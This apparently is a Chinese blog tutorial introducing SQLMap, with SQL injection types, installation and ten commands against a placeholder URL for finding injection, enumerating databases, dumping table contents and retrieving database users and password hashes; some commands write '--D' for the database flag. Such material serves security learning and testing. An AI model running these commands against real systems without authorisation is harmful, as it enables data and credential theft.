什么是SQLMap?

        sqlmap是一个自动化的sql注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,还可以检测XSS漏洞,内置了很多绕过的插件,支持的数据库有:MySQL、Oracle、postgreSQL、SQLserver、Access、DB2、SQLite、Firebird、Sybase和SAP MaxDB。SQLMap主要使用五种SQL注入技术。

  • 报错注入:页面返回错误消息,或把注入的语句直接返回页面中。
  • 时间盲注:不能根据页面返回的内容判断任何信息,采用条件语句查看时间延长语句是否执行来判断。(如果执行页面返回的时间会增加)
  • 布尔盲注:即可以根据返回页面判断条件真假的注入。
  • 联合查询注入:在可以使用Union的情况下的注入。
  • 堆查询注入:可以同时执行多条语句时的注入。

安装SQLMap

        使用SQLMap需要python环境。(注意:不支持python3)。
        首先,我们在 python官网下载安装包,并一键安装,安装完成后,复制python的安装目录,添加到环境变量中。
        然后在 SQLMap官网下载最新版的SQLMap(我个人使用的是Kali Linux系统,集成了SQLMap工具)。把下载的SQLMap放入到python的安装目录下,并把SQLMap目录添加到环境变量中。打开cmd,输入sqlmap.py命令后工具即可正常运行


SQLMap入门

1、判断是否有存在注入

sqlmap.py -u http://www.xxx/index.php/?id=1

2、判断文本中的请求是否存在注入

sqlmap.py -r 1.txt   # -r读取文件,文件中存入请求头

3、查询当前用户下的所有数据库

sqlmap.py -u http://www.xxx/index.php/?id=1 --dbs

4、获取数据库中的表名

sqlmap.py -u http://www.xxx/index.php/?id=1 --D 库名 --tables

5、获取表中的字段名

sqlmap.py -u http://www.xxx/index.php/?id=1 --D 库名 -T 表名 --columns

6、获取字段内容

sqlmap.py -u http://www.xxx/index.php/?id=1 --D 库名 -T 表名 -C 字段1,字段2 --dump

7、获取数据库的所有用户

sqlmap.py -u http://www.xxx/index.php/?id=1 --users

8、获取数据库用户的密码

sqlmap.py -u http://www.xxx/index.php/?id=1 --passwords

9、获取当前网站数据库的名称

sqlmap.py -u http://www.xxx/index.php/?id=1 --current-db

10、获取当前网站数据库的用户名称

sqlmap.py -u http://www.xxx/index.php/?id=1 --current-user

        好了,以上是SQLMap的入门使用方式。下载的工具指令为sqlmap.py,如果使用的是Kali Linux系统下的工具,直接sqlmap即可,不需要py。如果想查看SQLMap帮助的话,使用 -h 参数,使用 -hh 是详细帮助。SQLMap参数一共分为9打模块,后续我会写对所有模块参数进行详解。

欢迎大家关注我的博客。

更多推荐

SQLMap的入门教程